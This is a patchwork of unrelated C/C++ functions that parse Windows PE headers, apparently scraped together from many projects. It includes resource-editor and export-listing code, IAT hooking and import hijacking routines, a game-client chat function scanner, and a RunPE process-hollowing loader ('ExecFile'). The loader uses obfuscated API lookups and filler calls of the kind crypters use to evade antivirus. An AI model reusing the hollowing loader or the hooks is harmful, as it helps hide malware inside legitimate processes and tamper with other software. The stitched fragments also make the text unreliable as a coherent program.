DWORD* CIATHook::IATHook( /*HMODULE hDllWhichImports,*/ char *DllImportsFrom, char *OldFunctionName ){ if (!this->loaded) return 0; DWORD dwIndex; DWORD dwOffset; HMODULE hDllWhichImports = this->moduleimporting; PIMAGE_DATA_DIRECTORY pDataDirectory; PIMAGE_DOS_HEADER pDosHeader; PDWORD pdwIAT; PDWORD pdwINT; PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor; PIMAGE_IMPORT_BY_NAME pImportName; PIMAGE_OPTIONAL_HEADER pOptionalHeader; PIMAGE_NT_HEADERS pPeHeader; PSTR strCurrent; //hDllWhichImports = GetModuleHandleA(DllWhichImports); if(!hDllWhichImports) return NULL; pDosHeader = PIMAGE_DOS_HEADER(hDllWhichImports); dwOffset = pDosHeader->e_lfanew; pPeHeader = PIMAGE_NT_HEADERS(long(hDllWhichImports) + dwOffset); pOptionalHeader = &pPeHeader->OptionalHeader; pDataDirectory = pOptionalHeader->DataDirectory; dwOffset = pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; pImportDescriptor = PIMAGE_IMPORT_DESCRIPTOR(long(hDllWhichImports) + dwOffset); for(dwIndex = 0; true; dwIndex++) { dwOffset = pImportDescriptor[dwIndex].Name; if (!dwOffset) return NULL; strCurrent = PSTR(long(hDllWhichImports) + dwOffset); if(_stricmp( strCurrent, DllImportsFrom) == 0 ) { break; } } dwOffset = pImportDescriptor[dwIndex].FirstThunk; pdwIAT = PDWORD(long(hDllWhichImports) + dwOffset); dwOffset = pImportDescriptor[dwIndex].OriginalFirstThunk; pdwINT = PDWORD(long(hDllWhichImports) + dwOffset); for(dwIndex = 0; true; dwIndex++) { dwOffset = pdwINT[dwIndex]; if (!dwOffset) return NULL; pImportName = PIMAGE_IMPORT_BY_NAME(long(hDllWhichImports) + dwOffset); strCurrent = PSTR(pImportName->Name); if(_stricmp(strCurrent, OldFunctionName) == 0) { return &pdwIAT[dwIndex]; } } return NULL; }
PIMAGE_NT_HEADERS PEHeaderFromHModule(HMODULE hModule) { PIMAGE_NT_HEADERS pNTHeader = 0; __try { if ( PIMAGE_DOS_HEADER(hModule)->e_magic != IMAGE_DOS_SIGNATURE ) __leave; pNTHeader = PIMAGE_NT_HEADERS(PBYTE(hModule) + PIMAGE_DOS_HEADER(hModule)->e_lfanew); if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE ) pNTHeader = 0; } __except( EXCEPTION_EXECUTE_HANDLER ) { } return pNTHeader; }
VOID scanSendChatMessage_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile) { PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew); PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1); PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress); DWORD dwCodeSize = pSecHdr[0].SizeOfRawData; PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress); DWORD dwRDataSize = pSecHdr[1].SizeOfRawData; PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress); DWORD dwDataSize = pSecHdr[2].SizeOfRawData; SetItemStatus(iItem, hwndDlg, "Scanning..."); // scan data section for "Unknown chat type" for(DWORD dwDataIndex = 0; dwDataIndex < dwDataSize - (sizeof("Unknown chat type") - 1); dwDataIndex++) { if(MemoryCompare(&pbData[dwDataIndex], (PBYTE)"Unknown chat type", sizeof("Unknown chat type") - 1)) { // calculate va of found string DWORD dwStringVA = OffsetToRva(pbFile, PtrToUlong(pbData) + dwDataIndex - PtrToUlong(pbFile)); if(dwStringVA) { dwStringVA += pNtHdr->OptionalHeader.ImageBase; // scan code section for 'push dwStringVA' for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - 8; dwCodeIndex++) { if(pbCode[dwCodeIndex] == 0x68 && *((PDWORD)&pbCode[dwCodeIndex + 1]) == dwStringVA) { // find beginning of procedure for(DWORD dwCodeIndex2 = dwCodeIndex & 0xFFFFFFF0; dwCodeIndex2; dwCodeIndex2 -= 0x10) { if(pbCode[dwCodeIndex2 - 1] == 0x90 || pbCode[dwCodeIndex2 - 1] == 0xC3 || pbCode[dwCodeIndex2 - 3] == 0xC2) { DWORD dwProcRva = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex2 - PtrToUlong(pbFile)); if(dwProcRva) { GetPPD(iItem, hwndDlg)->dwValue = dwProcRva + pNtHdr->OptionalHeader.ImageBase; SetItemStatus(iItem, hwndDlg, "Success"); return; } } } } } } } } GetPPD(iItem, hwndDlg)->dwValue = 0; SetItemStatus(iItem, hwndDlg, "Fail"); }
PLOADED_IMAGE IATHookInjector::ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress) const { auto lpBuffer = new BYTE[BUFFER_SIZE]; auto bSuccess = ReadProcessMemory(hProcess, lpImageBaseAddress, lpBuffer, BUFFER_SIZE, nullptr); if (!bSuccess) { return nullptr; } auto pDOSHeader = PIMAGE_DOS_HEADER(lpBuffer); auto pImage = new LOADED_IMAGE(); pImage->FileHeader = PIMAGE_NT_HEADERS(lpBuffer + pDOSHeader->e_lfanew); pImage->NumberOfSections = pImage->FileHeader->FileHeader.NumberOfSections; pImage->Sections = PIMAGE_SECTION_HEADER(lpBuffer + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32)); return pImage; }
DWORD RVA2Offset(void * pImageBase, DWORD dwRVA) { DWORD offset; PIMAGE_SECTION_HEADER section; PIMAGE_DOS_HEADER pimage_dos_header; PIMAGE_NT_HEADERS pimage_nt_headers; pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase); pimage_nt_headers = (PIMAGE_NT_HEADERS)( ((SIZE_T)pimage_dos_header) + pimage_dos_header -> e_lfanew); section = ImageRVA2Section(pimage_nt_headers, dwRVA); if (section == nullptr) { return 0; } offset = dwRVA + section->PointerToRawData - section->VirtualAddress; return offset; }
DWORD OffsetToRva(PBYTE pbImage, DWORD dwOffset) { DWORD dwSecBorder = -1; PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pbImage + PIMAGE_DOS_HEADER(pbImage)->e_lfanew); PIMAGE_SECTION_HEADER pSec = PIMAGE_SECTION_HEADER(PBYTE(pNt) + sizeof(IMAGE_NT_HEADERS)); for(DWORD x = 0; x < pNt->FileHeader.NumberOfSections; x++) { if(dwOffset >= pSec[x].PointerToRawData && dwOffset < pSec[x].PointerToRawData + pSec[x].SizeOfRawData) return (dwOffset - pSec[x].PointerToRawData + pSec[x].VirtualAddress); if(pSec[x].PointerToRawData && pSec[x].PointerToRawData < dwSecBorder) dwSecBorder = pSec[x].PointerToRawData; } if(dwOffset < dwSecBorder) return dwOffset; else return NULL; }
PBYTE RvaToPointer(PBYTE pbImage, DWORD dwRva) { DWORD dwSecBorder = -1; PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pbImage + PIMAGE_DOS_HEADER(pbImage)->e_lfanew); PIMAGE_SECTION_HEADER pSec = PIMAGE_SECTION_HEADER(PBYTE(pNt) + sizeof(IMAGE_NT_HEADERS)); for(DWORD x = 0; x < pNt->FileHeader.NumberOfSections; x++) { if(dwRva >= pSec[x].VirtualAddress && dwRva < pSec[x].VirtualAddress + pSec[x].Misc.VirtualSize) return (pbImage + (dwRva - pSec[x].VirtualAddress + pSec[x].PointerToRawData)); if(pSec[x].PointerToRawData && pSec[x].PointerToRawData < dwSecBorder) dwSecBorder = pSec[x].PointerToRawData; } if(dwRva < dwSecBorder) return pbImage + dwRva; else return NULL; }
void AirMemory::Init(char *ModuleName) { HMODULE hModule = NULL; MODULEINFO ModInfo; HANDLE hProcess = GetCurrentProcess(); IMAGE_NT_HEADERS *nth; if (ModuleName) {//DLL while (!(hModule = GetModuleHandleA(ModuleName))) { Sleep(100); } GetModuleInformation(hProcess, hModule, &ModInfo, sizeof(MODULEINFO)); Memory_Start = (DWORD)ModInfo.lpBaseOfDll; Memory_End = (DWORD)ModInfo.lpBaseOfDll + (DWORD)ModInfo.SizeOfImage; IsDLL = true; } else {//Client hModule = GetModuleHandleA(NULL); nth = (IMAGE_NT_HEADERS *)((DWORD)hModule + PIMAGE_DOS_HEADER(hModule)->e_lfanew); Memory_Start = (DWORD)nth->OptionalHeader.ImageBase; Memory_End = (DWORD)nth->OptionalHeader.ImageBase + (DWORD)nth->OptionalHeader.SizeOfImage; } BaseAddress = Memory_Start; }
DWORD Utils::GetSizeOfCode( HANDLE hHandle ) { HMODULE hModule = (HMODULE)hHandle; if ( !hModule ) return NULL; PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER( hModule ); if( !pDosHeader ) return NULL; PIMAGE_NT_HEADERS pNTHeader = PIMAGE_NT_HEADERS( (LONG)hModule + pDosHeader->e_lfanew ); if( !pNTHeader ) return NULL; PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNTHeader->OptionalHeader; if( !pOptionalHeader ) return NULL; return pOptionalHeader->SizeOfCode; }
// Fill the array of icons for uninstall with their offsets // Returns 0 if failed, anything else is icon_offset. int generate_unicons_offsets(unsigned char* exeHeader, unsigned char* uninstIconData) { int i; MY_ASSERT(PIMAGE_DOS_HEADER(exeHeader)->e_magic != IMAGE_DOS_SIGNATURE, "invalid dos header"); PIMAGE_NT_HEADERS ntHeaders = PIMAGE_NT_HEADERS(exeHeader + PIMAGE_DOS_HEADER(exeHeader)->e_lfanew); MY_ASSERT(ntHeaders->Signature != IMAGE_NT_SIGNATURE, "invalid nt headers"); DWORD dwResourceSectionVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress; PIMAGE_SECTION_HEADER sectionHeadersArray = IMAGE_FIRST_SECTION(ntHeaders); for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) if (dwResourceSectionVA == sectionHeadersArray[i].VirtualAddress) break; MY_ASSERT(i == ntHeaders->FileHeader.NumberOfSections, "can't find resource section"); PRESOURCE_DIRECTORY rdRoot = PRESOURCE_DIRECTORY(exeHeader + sectionHeadersArray[i].PointerToRawData); int iNextSection; if (i == ntHeaders->FileHeader.NumberOfSections - 1) iNextSection = (int)ntHeaders->OptionalHeader.SizeOfImage; else iNextSection = (int)sectionHeadersArray[i+1].PointerToRawData; MY_ASSERT((int)rdRoot - (int)exeHeader > iNextSection, "corrupted EXE - invalid pointer"); int idx = find_in_dir(rdRoot, WORD(RT_ICON)); MY_ASSERT(idx == -1, "no icons?!"); MY_ASSERT(!rdRoot->Entries[idx].DataIsDirectory, "bad resource directory"); PRESOURCE_DIRECTORY rdIcons = PRESOURCE_DIRECTORY(rdRoot->Entries[idx].OffsetToDirectory + DWORD(rdRoot)); MY_ASSERT((int)rdIcons - (int)exeHeader > iNextSection, "corrupted EXE - invalid pointer"); unsigned char* seeker = uninstIconData; for (i = 0; i < rdIcons->Header.NumberOfIdEntries; i++) { // Icons dir can't have named entries MY_ASSERT(!rdIcons->Entries[i].DataIsDirectory, "bad resource directory"); PRESOURCE_DIRECTORY rd = PRESOURCE_DIRECTORY(rdIcons->Entries[i].OffsetToDirectory + DWORD(rdRoot)); MY_ASSERT((int)rd - (int)exeHeader > iNextSection, "corrupted EXE - invalid pointer"); MY_ASSERT(rd->Entries[0].DataIsDirectory, "bad resource directory"); PIMAGE_RESOURCE_DATA_ENTRY rde = PIMAGE_RESOURCE_DATA_ENTRY(rd->Entries[0].OffsetToData + DWORD(rdRoot)); MY_ASSERT((int)rde - (int)exeHeader > iNextSection, "corrupted EXE - invalid pointer"); DWORD dwSize = *(DWORD*)seeker; seeker += sizeof(DWORD); MY_ASSERT(dwSize != rde->Size, "installer, uninstaller icon size mismatch - see the Icon instruction's documentation for more information"); // Set offset *(DWORD*)seeker = rde->OffsetToData + DWORD(rdRoot) - dwResourceSectionVA - DWORD(exeHeader); MY_ASSERT(*(int*)seeker > iNextSection || *(int*)seeker < (int)rdRoot - (int)exeHeader, "invalid data offset - icon resource probably compressed"); seeker += sizeof(DWORD) + dwSize; } MY_ASSERT(i == 0, "no icons found"); MY_ASSERT(*(DWORD*)seeker != 0, "number of icons doesn't match"); return PIMAGE_RESOURCE_DATA_ENTRY(PRESOURCE_DIRECTORY(rdIcons->Entries[0].OffsetToDirectory + DWORD(rdRoot))->Entries[0].OffsetToData + DWORD(rdRoot))->OffsetToData + DWORD(rdRoot) - dwResourceSectionVA - DWORD(exeHeader); }
// ExecFile based on RUNPE work (c) Someone 2009 void ExecFile(LPSTR szFilePath, LPVOID pFile) { // On va creer un process suspendu, demapper le nouveau process, aligner la taille avce notre pe // recopier notre pe dans les sections, demarre et sauter dans le process PIMAGE_DOS_HEADER IDH; // Structure http://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html PIMAGE_NT_HEADERS INH; PIMAGE_SECTION_HEADER ISH; PROCESS_INFORMATION PI; STARTUPINFOA SI; PCONTEXT CTX; PDWORD dwImageBase; PNtUnmapViewOfSection xNtUnmapViewOfSection; PWriteProcessMemory xWriteProcessMemory ; PNtResumeThread xNtResumeThread; PGetThreadContext xGetThreadContext; PSetThreadContext xSetThreadContext; PGetProcAddress xGetProcAddress; PCreateProcessA xCreateProcessA; PReadProcessMemory xReadProcessMemory; PLoadLibrary xLoadLibrary; PVirtualAllocEx xVirtualAllocEx; LPVOID pImageBase; int Count; int extern str_ntdll() asm ("str_ntdll"); int extern str_kernel32() asm ("str_kernel32"); int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory"); int extern str_GetProcAddress() asm ("str_GetProcAddress"); int extern str_ReadProcAddress() asm ("str_ReadProcAddress"); int extern str_WriteProcessMemory() asm ("str_WriteProcessMemory"); int extern str_GetThreadContext() asm ("str_GetThreadContext"); int extern str_SetThreadContext() asm ("str_SetThreadContext"); int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory"); int extern str_CreateProcessA() asm ("str_CreateProcessA"); int extern str_NtResumeThread() asm ("str_NtResumeThread"); int extern str_NtUnmapViewOfSection() asm ("str_NtUnmapViewOfSection"); int extern str_VirtualAllocEx() asm ("str_VirtualAllocEx"); xLoadLibrary = (PLoadLibrary) getfunction (findkernel() ,ostring((unsigned char *) &str_LoadLibrary )); HINSTANCE Hkernel32 = xLoadLibrary((LPCTSTR) ostring((unsigned char *) &str_kernel32 )); HINSTANCE Hntdll = xLoadLibrary((LPCTSTR) ostring((unsigned char * ) &str_ntdll )); xGetProcAddress = (PGetProcAddress) getfunction(findkernel(),ostring((unsigned char *) &str_GetProcAddress)); xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext)); xNtResumeThread = (PNtResumeThread)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *) &str_NtResumeThread))); IDH = PIMAGE_DOS_HEADER(pFile); if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { // TEST MZ INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); if (INH->Signature == IMAGE_NT_SIGNATURE) { // TESTPE RtlZeroMemory(&SI, sizeof(SI)); RtlZeroMemory(&PI, sizeof(PI)); // Cree un process etat suspendu xCreateProcessA = (PCreateProcessA) (xGetProcAddress(Hkernel32,(LPCSTR) ostring((unsigned char *) &str_CreateProcessA))); if (xCreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; xGetThreadContext = ( PGetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_GetThreadContext)); if (xGetThreadContext(PI.hThread, LPCONTEXT(CTX))){ xReadProcessMemory = (PReadProcessMemory) getfunction(findkernel(), ostring((unsigned char *)&str_ReadProcessMemory)); xReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL); // Mappe l'exe dans la thread if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) { vaauxfraises(DWORD(dwImageBase)); xNtUnmapViewOfSection = (PNtUnmapViewOfSection)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *)&str_NtUnmapViewOfSection))); xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase)); } xVirtualAllocEx = ( PVirtualAllocEx) getfunction(findkernel(),ostring((unsigned char *)&str_VirtualAllocEx)); pImageBase = xVirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); if (pImageBase) { // HMODULE aKERNEL32=LoadLibrary(vKERNEL32); xWriteProcessMemory = (PWriteProcessMemory) getfunction(findkernel(),ostring((unsigned char *)&str_WriteProcessMemory)); xWriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL); for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) { ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40)); startrand(); xWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL); } xWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL); CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint; // Et on demarre la thread xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext)); xSetThreadContext(PI.hThread, LPCONTEXT(CTX)); startrand(); xNtResumeThread(PI.hThread); } } } } } GetLastError(); VirtualFree(pFile, 0, MEM_RELEASE); }
HRESULT ApiHijackImports( HMODULE hModule, //хэндл на эту программу (метод импорта), в ней замещающая процедура LPSTR szVictim, LPSTR szEntry, LPVOID pHijacker, //замещающая процедура LPVOID *ppOrig ) { FILE* pf = fopen("importlog.txt","a+"); // Check args if (::IsBadStringPtrA(szVictim, -1) || (!IS_INTRESOURCE(szEntry) && ::IsBadStringPtrA(szEntry, -1)) || ::IsBadCodePtr(FARPROC(pHijacker))) { fclose(pf); return E_INVALIDARG; } PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(hModule); //DOS заголовок PE файла (этой программы) if (::IsBadReadPtr(pDosHeader, sizeof(IMAGE_DOS_HEADER)) || IMAGE_DOS_SIGNATURE != pDosHeader->e_magic) { fclose(pf); return E_INVALIDARG; } PIMAGE_NT_HEADERS pNTHeaders = MakePtr(PIMAGE_NT_HEADERS, hModule, pDosHeader->e_lfanew); //PE заголовок (этой программы) if (::IsBadReadPtr(pNTHeaders, sizeof(IMAGE_NT_HEADERS)) || IMAGE_NT_SIGNATURE != pNTHeaders->Signature) { fclose(pf); return E_INVALIDARG; } HRESULT hr = E_UNEXPECTED; // Locate the victim IMAGE_DATA_DIRECTORY& impDir = pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; //элемент директории данных опционального заголовка (структура): символы импорта PIMAGE_IMPORT_DESCRIPTOR pImpDesc = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, hModule, impDir.VirtualAddress), //адрес начала таблицы импорта (массив структур IMAGE_IMPORT_DESCRIPTOR) pEnd = pImpDesc + impDir.Size / sizeof(IMAGE_IMPORT_DESCRIPTOR) - 1; //адрес конца таблицы while(pImpDesc < pEnd) { char *p; //debug p=MakePtr(char*,hModule,pImpDesc->Name); if (0 == ::lstrcmpiA(MakePtr(LPSTR, hModule, pImpDesc->Name), szVictim)) //в таблице импорта szVictim { if (0 == pImpDesc->OriginalFirstThunk) { // no import names table fclose(pf); return E_UNEXPECTED; } // Locate the entry PIMAGE_THUNK_DATA pNamesTable = MakePtr(PIMAGE_THUNK_DATA, hModule, pImpDesc->OriginalFirstThunk); if (IS_INTRESOURCE(szEntry)) { // By ordinal while(pNamesTable->u1.AddressOfData) { if (IMAGE_SNAP_BY_ORDINAL(pNamesTable->u1.Ordinal) && WORD(szEntry) == IMAGE_ORDINAL(pNamesTable->u1.Ordinal)) { hr = S_OK; break; } pNamesTable++; } } else { // By name while(pNamesTable->u1.AddressOfData) { if (!IMAGE_SNAP_BY_ORDINAL(pNamesTable->u1.Ordinal)) { PIMAGE_IMPORT_BY_NAME pName = MakePtr(PIMAGE_IMPORT_BY_NAME, hModule, pNamesTable->u1.AddressOfData); if (0 == ::lstrcmpiA(LPSTR(pName->Name), szEntry)) { hr = S_OK; break; } } pNamesTable++; } } if (SUCCEEDED(hr)) { // Get address LPVOID *pProc = MakePtr(LPVOID *, pNamesTable, pImpDesc->FirstThunk - pImpDesc->OriginalFirstThunk); //pImpDesc->FirstThunk - выводится как Address в проге pe_class - import_descriptor_array->FirstThunk // Save original handler if (ppOrig) *ppOrig = *pProc; // write to write-protected memory fprintf(pf, "0x%X 0x%X 0x%X 0x%X\n", pProc, pNamesTable, pImpDesc->FirstThunk, pImpDesc->OriginalFirstThunk); fclose(pf); return WriteProtectedMemory(pProc, &pHijacker, sizeof(LPVOID)); } break; } pImpDesc++; } fclose(pf); return hr; }
void Plugins::GetExports(char* pathToDll,bool displayInfo) { if (pathToDll) { unsigned char* dlldata = 0; long dlldatalen = 0; bool loaded = false; char dllName[100]; char signature[256]; dllName[0] = 0; char* ptr = strrchr(pathToDll,'\\'); if (ptr && *ptr && *(ptr+1)) strcpy(dllName,ptr+1); ptr = strstr(dllName, ".dll"); if (ptr) *ptr = 0; FILE* dll = fopen(pathToDll,"rb"); if (dll) { fseek(dll,0,SEEK_END); dlldatalen = ftell(dll); fseek(dll,0,SEEK_SET); if (dlldatalen > 0) { dlldata = new unsigned char [dlldatalen]; if (dlldata) { size_t bytesread = fread((void*)dlldata,1,dlldatalen,dll); if ((long)bytesread == dlldatalen) loaded = true; } } fclose(dll); } if (!loaded) { if (dlldata) delete[] dlldata; return; } PIMAGE_NT_HEADERS NTHeaders = PIMAGE_NT_HEADERS(dlldata + PIMAGE_DOS_HEADER(dlldata)->e_lfanew); if (NTHeaders->Signature == IMAGE_NT_SIGNATURE) { if (NTHeaders->FileHeader.Characteristics & IMAGE_FILE_DLL) { if (NTHeaders->OptionalHeader.NumberOfRvaAndSizes <= IMAGE_DIRECTORY_ENTRY_EXPORT) return; DWORD ExportDirVA = NTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; DWORD ExportDirSize = NTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(NTHeaders); for (int i = 0; i < NTHeaders->FileHeader.NumberOfSections; i++) { if (sections[i].VirtualAddress <= ExportDirVA && sections[i].VirtualAddress+sections[i].Misc.VirtualSize >= ExportDirVA+ExportDirSize) { PIMAGE_EXPORT_DIRECTORY exports = PIMAGE_EXPORT_DIRECTORY(dlldata + sections[i].PointerToRawData + ExportDirVA - sections[i].VirtualAddress); unsigned long *names = (unsigned long*)((char*)exports + exports->AddressOfNames - ExportDirVA); for (unsigned long j = 0; j < exports->NumberOfNames; j++) { char *name = (char*)exports + names[j] - ExportDirVA; wsprintf(signature, "%s::%s", dllName, name); m_list.add(signature, pathToDll); if (displayInfo) fprintf(g_output, " - %s\n", signature); } break; } } } } delete[] dlldata; } }
PIMAGE_DOS_HEADER CPEInfo::GetDosHeader() { return PIMAGE_DOS_HEADER(m_pFileMap); }
static inline PIMAGE_NT_HEADERS WINAPI PinhFromImageBase(HMODULE hmod) { return PIMAGE_NT_HEADERS(PBYTE(hmod) + PIMAGE_DOS_HEADER(hmod)->e_lfanew); }
// Saves the edited PE into a buffer and returns it. BYTE* CResourceEditor::Save(DWORD &dwSize) { unsigned int i; DWORD dwRsrcSize = m_cResDir->GetSize(); // Size of new resource section DWORD dwRsrcSizeAligned = RALIGN(dwRsrcSize, m_ntHeaders->OptionalHeader.FileAlignment); // Align it to FileAlignment // Calculate the total new PE size dwSize = m_iSize - IMAGE_FIRST_SECTION(m_ntHeaders)[m_dwResourceSectionIndex].SizeOfRawData + dwRsrcSizeAligned; // Allocate memory for the new PE BYTE* pbNewPE = new BYTE[dwSize]; // Fill it with zeros ZeroMemory(pbNewPE, dwSize); BYTE* seeker = pbNewPE; BYTE* oldSeeker = m_pbPE; PIMAGE_SECTION_HEADER old_sectionHeadersArray = IMAGE_FIRST_SECTION(m_ntHeaders); // Copy everything until the resource section (including headers and everything that might come after them) // We don't use SizeOfHeaders because sometimes (using VC6) it can extend beyond the first section // or (Borland) there could be some more information between the headers and the first section. CopyMemory(seeker, oldSeeker, old_sectionHeadersArray[m_dwResourceSectionIndex].PointerToRawData); // Skip the headers and whatever comes after them seeker += old_sectionHeadersArray[m_dwResourceSectionIndex].PointerToRawData; oldSeeker += old_sectionHeadersArray[m_dwResourceSectionIndex].PointerToRawData; // Get new nt headers pointer PIMAGE_NT_HEADERS ntHeaders = PIMAGE_NT_HEADERS(pbNewPE + PIMAGE_DOS_HEADER(pbNewPE)->e_lfanew); // Get a pointer to the new section headers PIMAGE_SECTION_HEADER sectionHeadersArray = IMAGE_FIRST_SECTION(ntHeaders); // Skip the resource section in the old PE seeker. oldSeeker += sectionHeadersArray[m_dwResourceSectionIndex].SizeOfRawData; // Save the old virtual size of the resource section DWORD dwOldVirtualSize = sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize; // Set the new size of the resource section (size aligned to FileAlignment) sectionHeadersArray[m_dwResourceSectionIndex].SizeOfRawData = dwRsrcSizeAligned; // Set the virtual size as well (in memory) sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize = RALIGN(dwRsrcSize, ntHeaders->OptionalHeader.SectionAlignment); ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize; // Set the new virtual size of the image DWORD old = ntHeaders->OptionalHeader.SizeOfImage; ntHeaders->OptionalHeader.SizeOfImage = RALIGN(ntHeaders->OptionalHeader.SizeOfHeaders, ntHeaders->OptionalHeader.SectionAlignment); for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) ntHeaders->OptionalHeader.SizeOfImage += RALIGN(sectionHeadersArray[i].Misc.VirtualSize, ntHeaders->OptionalHeader.SectionAlignment); // Set the new AddressOfEntryPoint if needed if (ntHeaders->OptionalHeader.AddressOfEntryPoint > sectionHeadersArray[m_dwResourceSectionIndex].VirtualAddress) ntHeaders->OptionalHeader.AddressOfEntryPoint += sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize - dwOldVirtualSize; // Set the new BaseOfCode if needed if (ntHeaders->OptionalHeader.BaseOfCode > sectionHeadersArray[m_dwResourceSectionIndex].VirtualAddress) ntHeaders->OptionalHeader.BaseOfCode += sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize - dwOldVirtualSize; // Set the new BaseOfData if needed if (ntHeaders->OptionalHeader.BaseOfData > sectionHeadersArray[m_dwResourceSectionIndex].VirtualAddress) ntHeaders->OptionalHeader.BaseOfData += sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize - dwOldVirtualSize; // Refresh the headers of the sections that come after the resource section, and the data directory for (i = m_dwResourceSectionIndex + 1; i < ntHeaders->FileHeader.NumberOfSections; i++) { if (sectionHeadersArray[i].PointerToRawData) { sectionHeadersArray[i].PointerToRawData -= IMAGE_FIRST_SECTION(m_ntHeaders)[m_dwResourceSectionIndex].SizeOfRawData; sectionHeadersArray[i].PointerToRawData += dwRsrcSizeAligned; } // We must find the right data directory entry before we change the virtual address unsigned int uDataDirIdx = 0; for (unsigned int j = 0; j < ntHeaders->OptionalHeader.NumberOfRvaAndSizes; j++) if (ntHeaders->OptionalHeader.DataDirectory[j].VirtualAddress == sectionHeadersArray[i].VirtualAddress) uDataDirIdx = j; sectionHeadersArray[i].VirtualAddress -= RALIGN(dwOldVirtualSize, ntHeaders->OptionalHeader.SectionAlignment); sectionHeadersArray[i].VirtualAddress += RALIGN(sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize, ntHeaders->OptionalHeader.SectionAlignment); // Change the virtual address in the data directory too if (uDataDirIdx) ntHeaders->OptionalHeader.DataDirectory[uDataDirIdx].VirtualAddress = sectionHeadersArray[i].VirtualAddress; } // Write the resource section WriteRsrcSec(seeker); // Advance the pointer seeker += dwRsrcSizeAligned; // Copy everything that comes after the resource section (other sections and tacked data) DWORD dwLeft = m_iSize - (oldSeeker - m_pbPE); if (dwLeft) CopyMemory(seeker, oldSeeker, dwLeft); seeker += dwLeft; oldSeeker += dwLeft; /********************************************************** * To add checksum to the header use MapFileAndCheckSum **********************************************************/ // From now on, we are working on the new PE // Freeing the old PE memory is up to the user m_pbPE = pbNewPE; m_iSize = dwSize; m_dosHeader = PIMAGE_DOS_HEADER(m_pbPE); m_ntHeaders = ntHeaders; // We just wrote the resource section according to m_cResDir, so we don't need to rescan // m_dwResourceSectionIndex and m_dwResourceSectionVA have also been left unchanged as // we didn't move the resources section return pbNewPE; }
